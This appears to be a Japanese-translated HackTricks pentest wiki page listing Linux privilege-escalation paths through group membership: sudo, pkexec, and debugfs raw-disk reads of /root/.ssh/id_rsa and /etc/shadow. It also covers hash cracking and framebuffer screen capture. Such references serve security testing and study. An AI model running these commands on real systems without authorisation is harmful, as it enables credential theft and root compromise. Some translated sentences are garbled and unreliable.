hacktricks/linux-unix/privilege-escalation/interesting-groups-linux-pe.md

8.7 KiB
Raw Blame History

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Sudo/Admin グループ

PE - メソッド 1

時々デフォルトで (またはいくつかのソフトウェアが必要とするため) /etc/sudoers ファイル内にこれらの行のいくつかを見つけることができます:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

これは、sudoまたはadminグループに属する任意のユーザーがsudoとして何でも実行できることを意味します。

この場合、rootになるには、単に次を実行すればよい:

sudo su

PE - Method 2

すべてのsuidバイナリを見つけ、バイナリPkexecがあるか確認します:

find / -perm -4000 2>/dev/null

もしバイナリ pkexec が SUID バイナリであり、あなたが sudo または admin に属している場合、pkexec を使用して sudo としてバイナリを実行できる可能性があります。以下の内容を確認してください:

cat /etc/polkit-1/localauthority.conf.d/*

そこでは、どのグループがpkexecを実行することを許可されているか、そしてデフォルトでいくつかのLinuxに表示されるグループがsudoまたはadminであるかを見つけることができます。

rootになるには、次のコマンドを実行できます:

pkexec "/bin/sh" #You will be prompted for your user password

もしpkexecを実行し、このエラーが表示された場合:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

GUIがないために接続されていないのではなく、権限がないからではありません。この問題の回避策はここにあります: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-3353509032つの異なるsshセッションが必要です:

{% code title="session1" %}

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

{% endcode %}

{% code title="session2" %}

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

{% endcode %}

Wheel Group

時々デフォルトで /etc/sudoers ファイル内にこの行を見つけることができます:

%wheel	ALL=(ALL:ALL) ALL

これは、wheelグループに属する任意のユーザーがsudoとして何でも実行できることを意味します。

この場合、rootになるには次のように実行するだけです:

sudo su

Shadow Group

shadow グループのユーザーは /etc/shadow ファイルを 読む ことができます:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

So, read the file and try to crack some hashes.

ディスクグループ

この特権はほぼ ルートアクセスと同等 であり、マシン内のすべてのデータにアクセスできます。

ファイル: /dev/sd[a-z][1-9]

debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

注意として、debugfsを使用するとファイルを書き込むこともできます。例えば、/tmp/asd1.txt/tmp/asd2.txtにコピーするには、次のようにします:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

しかし、rootが所有するファイル(例えば/etc/shadow/etc/passwd)に書き込もうとすると、"Permission denied"エラーが発生します。

Video Group

コマンドwを使用すると、システムにログインしているユーザーを見つけることができ、次のような出力が表示されます:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1は、ユーザーyossiが物理的にマシンのターミナルにログインしていることを意味します。

videoグループは、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。それを行うには、画面上の現在の画像を生データで取得し、画面が使用している解像度を取得する必要があります。画面データは/dev/fb0に保存され、解像度は/sys/class/graphics/fb0/virtual_sizeで見つけることができます。

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

生の画像開くには、GIMPを使用し、screen.rawファイルを選択し、ファイルタイプとしてRaw image dataを選択します:

次に、幅と高さを画面で使用されているものに変更し、異なる画像タイプを確認して(画面をより良く表示するものを選択します):

ルートグループ

デフォルトでは、ルートグループのメンバーは、サービスの設定ファイルやライブラリファイル、または特権昇格に使用できるその他の興味深いもの変更するアクセス権を持っているようです...

ルートメンバーが変更できるファイルを確認する

find / -group root -perm -g=w 2>/dev/null

Docker Group

ホストマシンのルートファイルシステムをインスタンスのボリュームにマウントできます。インスタンスが起動すると、そのボリュームにchrootを即座にロードします。これにより、実質的にマシン上でルート権限を得ることができます。

{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}

{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}

lxc/lxd Group

lxc - Privilege Escalation

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}